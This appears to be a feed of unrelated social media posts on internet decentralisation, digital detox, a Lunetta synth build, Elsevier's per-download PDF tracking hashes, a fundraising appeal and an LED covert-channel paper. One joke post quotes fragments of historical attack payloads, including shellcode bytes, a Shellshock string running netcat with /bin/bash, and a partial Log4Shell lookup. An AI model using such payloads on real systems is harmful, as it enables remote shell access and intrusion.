Looking back, the 1990s-2000s were a weird anomaly in capitalism, where it felt like the old familiar 1980s cyberpunk fiction scenario of "a few billionaires will literally control the entire planet's Data Network" couldn't possibly happen because we'd managed to decentralise it all, only just in the nick of time, because first IBM and then Microsoft had been trying to slam the door shut. But the hackers had finally won and for good, with TCP/IP, HTTP and Open Source.

Those were good years.

The digital detox narrative posits there there is no problem with BigTech companies, and they do not need to change. Instead the problem is how much time you spend engaging with their sites. "Screen time" or "online time" versus "offline time", as if it was still the 1990s with a clear division between those things.

This is really individualization. Pushing systemic problems made by organizations onto individuals who did not create those problems and did not ask to be subjected to dark patterns or harassment or manipulative advertising.

Itch.io also reaffirms their commitment to not get into cryptoshit. It's a viable alternative to Gumroad.

(It's most famous for games but you can sell all kinds of digital content on there like books and artworks and such)


New project: small, portable, self-contained square/digital/noise/logic synth! I'll be using mostly cmos logic chips to generate weird sounds and rhythms using square/pulse waves. this kind of synth is called a "Lunetta"

progress so far: got a small box to contain it; got a power jack, power switch, LED power indicator installed; small speaker with holes drilled for more sound; and an arduino for midi control and more square/logic generation

next up: LM386 power amp to power the speaker, then some square wave oscillators

More fun publisher surveillance:
Elsevier embeds a hash in the PDF metadata that is *unique for each time a PDF is downloaded*, this is a diff between metadata from two of the same paper. Combined with access timestamps, they can uniquely identify the source of any shared PDFs.

help, money, sponsoring 

Heya, if you have a coin or two, I am ending my year with about 1300€ in credit card debt since I have not been doing so well lately.

I person with a chronic fatigue condition and this has sucked a lot the past 2 months and I got kicked out of a gig that would have gotten that money for being too broken.

Kofi (one time or recurring):
or in GH sponsors:

Other ways to help: I sell my physical art on
etsy.com/shop/PurringJenn and I can always need free advertisement for it (but please don't spam) as well as exhibition spaces (that can also get a commission on sales)

I can't believe they made the chat protocol into a movie

My primary problems with Mastodon (the software, as opposed to the communities) are:
* no mark-up support
* Eugen is, to my knowledge, a straight prep

Eugen should at least have to be like a cool punk antifascist or something to continue being project lead imo

1990s exploits: \x90\x90\x90\x90\xb0\x01\x31\xdb\xcd\x80

2000s exploits: background: url("java%20script:alert('sammy is my hero');")

2010s exploits: () { :;}; nc 6666 –e /bin/bash

2021 exploits: jdni:ldap:

Guys, we're going backward here...

Of course somebody did this...

Did you know that a normal LED can also receive light? 🚨

It can! In this paper, we point a laser at build-in LEDs of offices devices and transmit data to their firmware. This covert communication can bridge 25m with a throughput of 128 kbps.

Full paper:


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